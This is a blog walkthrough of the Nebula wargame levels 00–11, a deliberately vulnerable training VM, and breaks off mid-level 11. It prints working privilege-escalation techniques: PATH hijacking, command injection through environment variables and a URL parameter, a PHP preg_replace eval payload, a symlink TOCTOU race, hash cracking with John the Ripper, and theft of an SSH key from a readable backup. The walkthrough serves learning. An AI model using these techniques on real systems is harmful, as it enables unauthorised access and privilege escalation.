Nebula
I have decided to document my progress with Nebula from Exploit Exercises in this blog to help me remember what I learn along the way.
Old content
This content was moved here from a previous location and is somewhat dated. In moving the content I updated links to where these exercises appear to have been re-published.
Level 00
For Level00 we're tasked with finding a setuid program that will execute as the level00 user:
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
The most straight forward way to approach this is simply to use the find command with the correct flags:
level00@nebula:~$ find / -user flag00 -perm -4000 -exec ls -l {} \; 2> /dev/null
The 4000 -perm flag can be used to find and display files with the setuid flag. We also redirect any errors to /dev/null to sanitise the output. The command produces the following output:
-rwsr-x--- 1 flag00 level00 7358 Nov 20 2011 /bin/.../flag00 It looks like they tried to hide file by using three dots (...) as the folder name. Run flag00 to become the flag00 user followed by /bin/getflag to complete the level:
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ /bin/getflag
You have successfully executed getflag on a target account
Level 01
For this exercise, we are also looking at an executable with the setuid flag defined. Setuid causes a program to execute as a given uid, regardless of which user starts the program and we're looking to exploit this:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
level1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
Looking at this code, we can see that the C library function system() is used to execute a command. First, the user's environment is set by calling env after which the echo command is executed. It's important to note that the path to echo is not fully qualified. This is our window of opportunity.
First, we create a symbolic link to target a fake echo command to target /bin/getflag, which is what we want to execute:
level01@nebula:~$ ln -s /bin/getflag echo
Next, we change our PATH environment variable to include our new fake echo:
level01@nebula:~$ export PATH=.:$PATH</pre>
Finally, we execute /home/flag01/flag01, which will execute /bin/getflag for us:
level01@nebula:~$ /home/flag01/flag01:
You have successfully executed getflag on a target account
Level 02
For this level, we are presented with some vulnerable code:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
level2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
This program produces the output "$USER is cool", where $USER is the value of the USER environment variable. We can change our USER environment variable to cause this program to execute an arbitrary command instead:
level02@nebula:~$ export USER="; /bin/getflag;"
Now, the program will run /bin/getflag and the level is completed!
level02@nebula:~$ /home/flag02/flag02 2> /dev/null
about to call system("/bin/echo ; /bin/getflag; is cool")
You have successfully executed getflag on a target account
Level 03
For Level 03, we need to find a vulnerability related to a crontab:
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
Let's start by looking at the files in this directory:
level03@nebula:~$ cd /home/flag03; ll
total 6
drwxr-x--- 3 flag03 level03 103 Nov 20 2011 ./
drwxr-xr-x 1 root root 100 Aug 27 2012 ../
-rw-r--r-- 1 flag03 flag03 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag03 flag03 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag03 flag03 675 May 18 2011 .profile
drwxrwxrwx 2 flag03 flag03 3 Aug 18 2012 writable.d/
-rwxr-xr-x 1 flag03 flag03 98 Nov 20 2011 writable.sh*
As the name suggests, the folder writable.d allows us to create files. Let's have a look at the shell script, writable.sh in this directory:
writable.sh
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
This script will execute any scripts located in the writable.d directory using bash and then delete them. Let's write a script of our own in /tmp/flag03.sh:
/tmp/flag03.sh
#!/bin/sh
echo Running as user $(whoami) >> /tmp/flag03.out
/bin/getflag >> /tmp/flag03.out
First, we'll pre-create an output file so we can tail it. Next, let's set the execute permission and move our script to the writable.d directory:
level03@nebula:/home/flag03$ touch /tmp/flag03.out
level03@nebula:/home/flag03$ chmod 777 /tmp/flag03.out
level03@nebula:/home/flag03$ chmod +x /tmp/flag03.sh
level03@nebula:/home/flag03$ mv -v /tmp/flag03.sh /home/flag03/writable.d/
`/tmp/flag03.sh' -> `/home/flag03/writable.d/flag03.sh'
removed `/tmp/flag03.sh'
level03@nebula:/home/flag03$ tail -f /tmp/flag03.out
After a short while, we should see some output:
Running as user flag03
You have successfully executed getflag on a target account
Level 04
For Level 04, we are again presented with some vulnerable code:
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
level4.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d";, fd);
}
write(1, buf, rc);
}
This program will read a file passed to it and write it to the standard output. However, if the filename contains the word "token", the program will exit before reading the file.
If we look at the files in the flag04 user's home folder, we can see that there is a file named token which we do not have permissions to access:
level04@nebula:~$ ll /home/flag04
total 13
drwxr-x--- 2 flag04 level04 93 Nov 20 2011 ./
drwxr-xr-x 1 root root 100 Aug 27 2012 ../
-rw-r--r-- 1 flag04 flag04 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag04 flag04 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag04 flag04 675 May 18 2011 .profile
-rwsr-x--- 1 flag04 level04 7428 Nov 20 2011 flag04*
-rw------- 1 flag04 flag04 37 Nov 20 2011 token
Let's try and trick the program into reading the token file by once again resorting to symbolic links:
level04@nebula:~$ ln -s /home/flag04/token /tmp/t0k3n
level04@nebula:~$ /home/flag04/flag04 /tmp/t0k3n
06508b5e-8909-4f38-b630-fdb148a848a2
Interesting. Next, we'll try to authenticate as the flag04 user using the value read from the token file as the password:
level04@nebula:~$ su flag04
Password:
sh-4.2$ whoami
flag04
We're in. Execute /bin/getflag to complete the level!
Level 05
For this level, we're at something related to directory permissions:
Check the flag05 home directory. You are looking for weak directory permissions
So, let's have a look at the files located in /home/flag05/:
level05@nebula:~$ ll /home/flag05/
total 5
drwxr-x--- 4 flag05 level05 93 Aug 18 2012 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
drwxr-xr-x 2 flag05 flag05 42 Nov 20 2011 .backup
-rw-r--r-- 1 flag05 flag05 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag05 flag05 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag05 flag05 675 May 18 2011 .profile
drwx------ 2 flag05 flag05 70 Nov 20 2011 .ssh/
Looks like we can read the contents of the .backup folder, and there is a file of interest inside:
level05@nebula:~$ ll /home/flag05/.backup/
total 2
drwxr-xr-x 2 flag05 flag05 42 Nov 20 2011 ./
drwxr-x--- 4 flag05 level05 93 Aug 18 2012 ../
-rw-rw-r-- 1 flag05 flag05 1826 Nov 20 2011 backup-19072011.tgz
When extracting the files, it becomes obvious that we managed to get the ssh key for the user flag05:
level05@nebula:~$ tar -xvf /home/flag05/.backup/backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Let's see if the keys allow us to authenticate as flag05:
level05@nebula:~$ ssh flag05@localhost
_ __ __ __
/ | / /__ / /_ __ __/ /___ _
/ |/ / _ \/ __ \/ / / / / __ `/
/ /| / __/ /_/ / /_/ / / /_/ /
/_/ |_/\___/_.___/\__,_/_/\__,_/
exploit-exercises.lains.space/nebula
For level descriptions, please see the above URL.
To log in, use the username of "levelXX" and password "levelXX", where XX is the level number.
Currently there are 20 levels (00 - 19).
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)
* Documentation: https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
flag05@nebula:~$ /bin/getflag
You have successfully executed getflag on a target account
We won!
Level 06
This level is a little different than the previous ones. The only clue we are given is the origins of the flag06 account:
The flag06 account credentials came from a legacy unix system.
Legacy UNIX systems used to store the password hash in the /etc/passwd file, which is also true for the flag06 account:
level06@nebula:~$ cat /etc/passwd |grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh Now, we'll have to try and figure out what password resulted in this hash. For this, I am going to use John The Ripper on a different Ubuntu system as my Nebula machine runs without internet access.
To install John the Ripper, use the following command:
user@ubuntu:~$ sudo apt-get install john
Optionally, verify the installation by running john --test. This will produce output similar to the below as the various algorithms are tested:
user@ubuntu:~$ john --test
Benchmarking: decrypt, traditional crypt(3) [DES 128/128 SSE2-16]... DONE
Many salts: 4603K c/s real, 4835K c/s virtual
Only one salt: 4484K c/s real, 4652K c/s virtual
/*snip*/
Benchmarking: crypt, generic crypt(3) [?/64]... DONE
Many salts: 314649 c/s real, 365022 c/s virtual
Only one salt: 370176 c/s real, 374672 c/s virtual
John the Ripper supports the legacy /etc/passwd layout as input, so we'll create a file with only the flag06 user and transfer this to our cracking system:
level06@nebula:~$ cat /etc/passwd |grep flag06 > /tmp/flag06.txt
Now, on the cracking system, we'll use John to crack the password:
user@ubuntu:~$ john /tmp/flag06.txt
Loaded 1 password hash (decrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
hello (flag06)
1g 0:00:00:00 100% 2/3 25.00g/s 18825p/s 11825c/s 123456..marley
Use the "--show" option to display all of the cracked passwords reliably
Session completed So, the password appears to be hello!:
level06@nebula:~$ su flag06
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Level 07
Level07 presents us with a small program written in perl:
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
First, let's have a look at the code:
index.cgi
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
This program will attempt to run the ping command against a hostname we supply in the Host parameter.
First, we'll look at the files available for the level:
level07@nebula:~$ ll /home/flag07/
total 10
drwxr-x--- 2 flag07 level07 102 Nov 20 2011 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
-rw-r--r-- 1 flag07 flag07 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag07 flag07 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag07 flag07 675 May 18 2011 .profile
-rwxr-xr-x 1 root root 368 Nov 20 2011 index.cgi*
-rw-r--r-- 1 root root 3719 Nov 20 2011 thttpd.conf
Interesting. thttpd.conf suggests that there's a web server running. Let's figure out which port it's listening on:
level07@nebula:~$ cat /home/flag07/thttpd.conf |grep port=
port=7007
Let's try the program using wget. The arguments -qO- let us run wget in quiet mode and redirect all output to standard out:
level07@nebula:~$ wget -qO- http://localhost:7007/index.cgi?Host=127.0.0.1
<html><head><title>Ping results</title></head><body><pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.026 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.012/0.021/0.026/0.007 ms
</pre></body></html>level07@nebula:~$
/bin/getflag instead - we want to inject this into the Host parameter. Since we're passing the parameter as part of a URL, we'll need to URL-encode any value we want to use: | Normal | HTML-encoded |
|---|---|
| ; | %3B |
| / | %2F |
| ;/bin/getflag; | %3B%2Fbin%2Fgetflag%3B |
Let's give it a try:
level07@nebula:~$ wget -qO- http://localhost:7007/index.cgi?Host=%3B%2Fbin%2Fgetflag%3B
<html><head><title>Ping results</title></head><body><pre>You have successfully executed getflag on a target account
</pre></body></html>level07@nebula:~$ Success!
Level 08
Time for Level 08!
World readable files strike again. Check what that user was up to, and use it to log into flag08 account
Right, so let's have a look at what's in the flag08 user's home directory:
level08@nebula:~$ ll /home/flag08/
total 14
drwxr-x--- 2 flag08 level08 86 Aug 19 2012 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
-rw-r--r-- 1 flag08 flag08 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag08 flag08 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag08 flag08 675 May 18 2011 .profile
-rw-r--r-- 1 root root 8302 Nov 20 2011 capture.pcap
Looks like there's a packet capture file in the directory we can read: capture.pcap. We can test if it contains packet capture:
level08@nebula:~$ tcpdump -r /home/flag08/capture.pcap
/* lengthy output removed*/
Yep, definitely a packet capture. We can use the program tcpflow to create "readable" files (I say "readable" because they still require some interpretation):
level08@nebula:~$ tcpflow -r /home/flag08/capture.pcap
Two new files are created detailing the traffic captured:
level08@nebula:~$ ll
total 21
drwxr-x--- 1 level08 level08 140 Apr 17 08:44 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
-rw------- 1 level08 level08 156 Apr 17 08:13 .bash_history
-rw-r--r-- 1 level08 level08 220 May 18 2011 .bash_logout
-rw-r--r-- 1 level08 level08 3353 May 18 2011 .bashrc
drwx------ 2 level08 level08 60 Apr 17 08:07 .cache/
-rw-r--r-- 1 level08 level08 675 May 18 2011 .profile
-rw------- 1 level08 level08 1072 Apr 17 08:41 .viminfo
-rw-rw-r-- 1 level08 level08 206 Apr 17 08:44 059.233.235.218.39247-059.233.235.223.12121
-rw-rw-r-- 1 level08 level08 266 Apr 17 08:44 059.233.235.223.12121-059.233.235.218.39247
Let's review each file using hexdump to get an understanding of what happened:
level08@nebula:~$ hexdump -C 059.233.235.223.12121-059.233.235.218.39247
00000000 ff fd 25 ff fb 26 ff fd 18 ff fd 20 ff fd 23 ff |..%..&..... ..#.|
00000010 fd 27 ff fd 24 ff fa 20 01 ff f0 ff fa 23 01 ff |.'..$.. .....#..|
00000020 f0 ff fa 27 01 ff f0 ff fa 18 01 ff f0 ff fb 03 |...'............|
00000030 ff fd 01 ff fd 22 ff fd 1f ff fb 05 ff fd 21 ff |....."........!.|
00000040 fa 22 01 03 ff f0 ff fa 21 03 ff f0 ff fb 01 ff |."......!.......|
00000050 fd 00 ff fe 22 ff fa 22 03 03 e2 03 04 82 0f 07 |....".."........|
00000060 e2 1c 08 82 04 09 c2 1a 0a 82 7f 0b 82 15 0f 82 |................|
00000070 11 10 82 13 11 82 ff ff 12 82 ff ff ff f0 0d 0a |................|
00000080 4c 69 6e 75 78 20 32 2e 36 2e 33 38 2d 38 2d 67 |Linux 2.6.38-8-g|
00000090 65 6e 65 72 69 63 2d 70 61 65 20 28 3a 3a 66 66 |eneric-pae (::ff|
000000a0 66 66 3a 31 30 2e 31 2e 31 2e 32 29 20 28 70 74 |ff:10.1.1.2) (pt|
000000b0 73 2f 31 30 29 0d 0a 0a 01 00 77 77 77 62 75 67 |s/10).....wwwbug|
000000c0 73 20 6c 6f 67 69 6e 3a 20 00 6c 00 65 00 76 00 |s login: .l.e.v.|
000000d0 65 00 6c 00 38 01 00 0d 0a 50 61 73 73 77 6f 72 |e.l.8....Passwor|
000000e0 64 3a 20 00 0d 0a 01 00 0d 0a 4c 6f 67 69 6e 20 |d: .......Login |
000000f0 69 6e 63 6f 72 72 65 63 74 0d 0a 77 77 77 62 75 |incorrect..wwwbu|
00000100 67 73 20 6c 6f 67 69 6e 3a 20 |gs login: |
0000010a Looks like someone was trying to log on to some service at wwwbugs. level8 looks familiar. Let's check the other file:
level08@nebula:~$ hexdump -C 059.233.235.218.39247-059.233.235.223.12121
00000000 ff fc 25 ff fe 26 ff fb 18 ff fb 20 ff fb 23 ff |..%..&..... ..#.|
00000010 fb 27 ff fc 24 ff fa 20 00 33 38 34 30 30 2c 33 |.'..$.. .38400,3|
00000020 38 34 30 30 ff f0 ff fa 23 00 53 6f 64 61 43 61 |8400....#.SodaCa|
00000030 6e 3a 30 ff f0 ff fa 27 00 00 44 49 53 50 4c 41 |n:0....'..DISPLA|
00000040 59 01 53 6f 64 61 43 61 6e 3a 30 ff f0 ff fa 18 |Y.SodaCan:0.....|
00000050 00 78 74 65 72 6d ff f0 ff fd 03 ff fc 01 ff fb |.xterm..........|
00000060 22 ff fa 22 03 01 00 00 03 62 03 04 02 0f 05 00 |"..".....b......|
00000070 00 07 62 1c 08 02 04 09 42 1a 0a 02 7f 0b 02 15 |..b.....B.......|
00000080 0f 02 11 10 02 13 11 02 ff ff 12 02 ff ff ff f0 |................|
00000090 ff fb 1f ff fa 1f 00 b1 00 31 ff f0 ff fd 05 ff |.........1......|
000000a0 fb 21 ff fa 22 01 07 ff f0 ff fd 01 ff fb 00 ff |.!.."...........|
000000b0 fc 22 6c 65 76 65 6c 38 0d 62 61 63 6b 64 6f 6f |."level8.backdoo|
000000c0 72 7f 7f 7f 30 30 52 6d 38 7f 61 74 65 0d |r...00Rm8.ate.|
000000ce Hey, this backdoor section looks like it could be the password. 7f in Hex translates to the DEL ASCII character. So it looks like whoever entered the password made two mistakes, first starting with backdoor, but correcting this to backd00R and changing 8 to a in the word mate. So the final password is backd00Rmate.
Let's give this a try on the Nebula system:
level08@nebula:~$ su flag08
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Another win!
Level 09
Another day, another level. Today we're attacking Level 09:
There’s a C setuid wrapper for some vulnerable PHP code...
I knew this was going to be a challenge; my PHP-Fu is pretty much non-existent. The fact that there's a setuid wrapper present at least let's us run the code as our target user. That's a start. Let's have a look at the files in the directory:
level09@nebula:~$ ll /home/flag09/
total 13
drwxr-x--- 2 flag09 level09 98 Nov 20 2011 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
-rw-r--r-- 1 flag09 flag09 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag09 flag09 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag09 flag09 675 May 18 2011 .profile
-rwsr-x--- 1 flag09 level09 7240 Nov 20 2011 flag09*
-rw-r--r-- 1 root root 491 Nov 20 2011 flag09.php So we're going to be running the flag09 program. The code can be reviewed at Level 09. (It kept triggering Windows Defender notifications and removing the code from my project seemed more convenient than ack'ing alerts over and over...).
Let's figure out what the code does. The preg_replace(a, b, c) function allows us to replace instances of a with b in string c. So the spam($email) function will replace occurrences of "." with " dot " and "@" with " AT ". Next, the code will remove any leading "[" with "<" and trailing "]" with ">". We can make a quick test to confirm our findings:
level09@nebula:~$ echo '[email troll@lulz.com]' > mail.txt
level09@nebula:~$ /home/flag09/flag09 mail.txt 123
troll AT lulz dot com
OK, looks like we understand what the program does now. The second parameter is arbitrary, but I am passing it here to avoid an error message.
It is also interesting to note that the parameter is called use_me but does not seem to be used in the code. I wonder what happens if we reference $use_me as part of an email address provided in the input?
level09@nebula:~$ echo '[email $use_me]' > mail.txt
level09@nebula:~$ /home/flag09/flag09 mail.txt 123
123
The program now outputs what we passed in the second parameter, use_me. Interesting. I read up on the preg_replace function and it turns out the /e switch (as seen on line 15 in the PHP source code) was deprecated in version 5.5.0. It turns out PHP ill evaluate the second string as executable code before doing the replacement. No wonder the method was deprecated.
As an example on the page, the following input string could be used to exploit the vulnerability:
{${eval($_GET[php_code])}} Let's try this pattern with our approach, using the system() function to execute a program on our system:
level09@nebula:~$ echo '[email {${system($use_me)}}]' > mail.txt
level09@nebula:~$ /home/flag09/flag09 mail.txt /bin/getflag
You have successfully executed getflag on a target account
PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1
Looks like we finally beat it!
Level 10
Today it's time to have a go at Level 10!
Level 10 presents us with the following information:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
And here's the code we're working with:
basic.c
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
As stated in the description of the level, this program will attempt to upload a file to a target host at port 18211. On line 24, the program checks if the user has access to the file. If access is granted, the program proceeds to upload the file to the target host.
Let's try the program first, to see how it works in practice:
level10@nebula:~$ /home/flag10/flag10
/home/flag10/flag10 file host
sends file to host if you have access to it
level10@nebula:~$ echo "Testing flag 10 program" > flag10.txt
From another SSH session, we set up a netcat tunnel to listen for incoming connections. The -l flag indicates that we're listening instead of sending and the -k flag is used to prevent the session from closing after each connection:
level10@nebula:~$ nc -l 18211 -k
Back in our first session, we'll run the program:
level10@nebula:~$ /home/flag10/flag10 flag10.txt 192.168.56.1
Connecting to 192.168.56.1:18211 .. Connected!
Sending file .. wrote file!
And in the other session, we can see the output:
.oO Oo.
Testing flag 10 program
Right, so let's figure out what we're trying to achieve here. In the flag10 user's home directory, there's a file named token which we don't have permissions read. This is probably the file we want:
level10@nebula:~$ ll /home/flag10/
total 14
drwxr-x--- 2 flag10 level10 93 Nov 20 2011 ./
drwxr-xr-x 1 root root 60 Aug 27 2012 ../
-rw-r--r-- 1 flag10 flag10 220 May 18 2011 .bash_logout
-rw-r--r-- 1 flag10 flag10 3353 May 18 2011 .bashrc
-rw-r--r-- 1 flag10 flag10 675 May 18 2011 .profile
-rwsr-x--- 1 flag10 level10 7743 Nov 20 2011 flag10*
-rw------- 1 flag10 flag10 37 Nov 20 2011 token
First, the program will check if we have access to the file using the access() function:
if(access(argv[1], R_OK) == 0)
If this call succeeds, the program will proceed to upload the file. No checks are made before subsequent calls. This looks like a classic Time of Check / Time of Use (TOCTOU) scenario.
We may be able to exploit this by creating a loop that repeatedly substitutes a symbolic link for the token file and a file we can access:
level10@nebula:~$ echo "faketoken" > faketoken
level10@nebula:~$ while true; do ln -s -f /home/level10/faketoken token; ln -s -f /home/flag10/token token; done &
Now to test our theory...
level10@nebula:~$ /home/flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ /home/flag10/flag10 token 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
The first attempt failed, but the second worked! In our second SSH window we can see the following output produced:
level10@nebula:~$ nc -l 18211 -k
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Let's try this password using the flag10 user:
level10@nebula:~$ su flag10
Password:
sh-4.2$ /bin/getflag
You have successfully executed getflag on a target account
Victory!
Curiously there's also a file named x in the home directory of level10...
level10@nebula:~$ ll /home/level10/x
-rw-rw-r-- 1 level10 level10 382 Aug 19 2012 /home/level10/x
The file mainly consists of empty lines, but the token is present in this file also. Not sure if this is a mistake or not:
level10@nebula:~$ cat x |grep 615a2ce1-
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
Level 11
Right, time for Level 11:
The /home/flag11/flag11 binary processes standard input and executes a shell command. There are two ways of completing this level, you may wish to do both :-)
level11.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
As seen on line 64, the program will first check if the string "Content-Length: " is present in the input (as provided through stdin). Next, the length is determined through the atoi() function.
If we break the program down, we can see that we will take the first path if length is less than 1024, otherwise the second path will be taken. Both of these paths result in calling the process() function. It looks like this is our target.
Let's try the program out:
level11@nebula:~$ /home/flag11/flag11
Content-Length: 4
Test
flag11: fread length: Success
On line 71, the fread() function is called:
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
If we look in the man page for fread, we cansee the following text:
RETURN VALUE
fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters). If an error occurs, or the end-of-file is reached, the return value is a short item count (or zero).
Since our input is interpreted as a single item, the length has to be 1 for this path. Otherwise we will enter the if-block and exit the program. Let's try to execute the program supplying an arbitrary command of length 1:
level11@nebula:~$ echo -ne "Content-Length: 1\nx" |/home/flag11/flag11
sh: $'y\340\221': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" |/home/flag11/flag11
sh: $'y\240!': command not found
level11@nebula:~$ echo -ne "Content-Length: 1\nx" |/home/flag11/flag11
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file
...
level11@nebula:~$ echo -ne "Content-Length: 1\nx" |/home/flag11/flag11
sh: y: command not found If our input is 'x'', it looks like we can get the program to try and execute 'y' if we try a few times and are a little lucky. Let's give it a shot...
level11@nebula:~$ ln -s /bin/getflag /tmp/y
level11@nebula:~$ export PATH=/tmp/:$PATH
Let's run a small loop to repeat this several times:
level11@nebula:~$ for i in {1..15}; do echo -en "Content-Length: 1\nx" | /home/flag11/flag11 2> /dev/null; done
getflag is executing on a non-flag account, this doesn't count
getflag is executing on a non-flag account, this doesn't count
We manage to get the program to call /bin/getflag, but we receive a message stating that the command was executed using a non-flag account. Hmm, the program is clearly running as the flag11 user:
level11@nebula:~$ /home/flag11/flag11 &
[1] 1780
level11@nebula:~$ ps aux |grep 1780
flag11 1780 0.0 0.0 1816 244 pts/0 T 10:20 0:00 /home/flag11/flag11 And the setuid flag is set:
level11@nebula:~$ ll /home/flag11/flag11
-rwsr-x--- 1 flag11 level11 12135 Aug 19 2012 /home/flag11/flag11* I am not entirely sure why this is not working. There is something in the man page for system which may help explain this:
Do not use system() from a program with set-user-ID or set-group-ID privileges, because strange values for some environment variables might be used to subvert system integrity. Use the exec(3) family of functions instead, but not execlp(3) or execvp(3). system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup.
Having done some brief research on this, it looks like other people were seeing a similar problem with this level.
Anyway, let's try to look at exploiting the second code path, where length is 1024 or greater. We can ignore the code related to the colours (blue/pink) - this is uninteresting.
If we look more closely at the process() function, we can see that some basic XOR is done for the buffer before being passed to the system() function. If we can manipulate the input such that the XOR operation would yield /bin/getflag, we should be able to achieve system("/bin/getflag") being called.
First, we need to understand how XOR works. Let's look at a basic example. Here, we have the number 1337 and XOR this against the key 1234. The result is 491. If we perform the reverse operation, e.g. XOR 491 with 1234, we receive our original value, 1337:
1337: 0000 0101 0011 1001
1234: 0000 0100 1101 0010
^
491: 0000 0001 1110 1011
491: 0000 0001 1110 1011
1234: 0000 0100 1101 0010
^
1337: 0000 0101 0011 1001
So let's look at our practical example:
'/' 0010 1111 0000 1010
key 0000 0000 0000 0000 (1024 & 255 = 0)
^
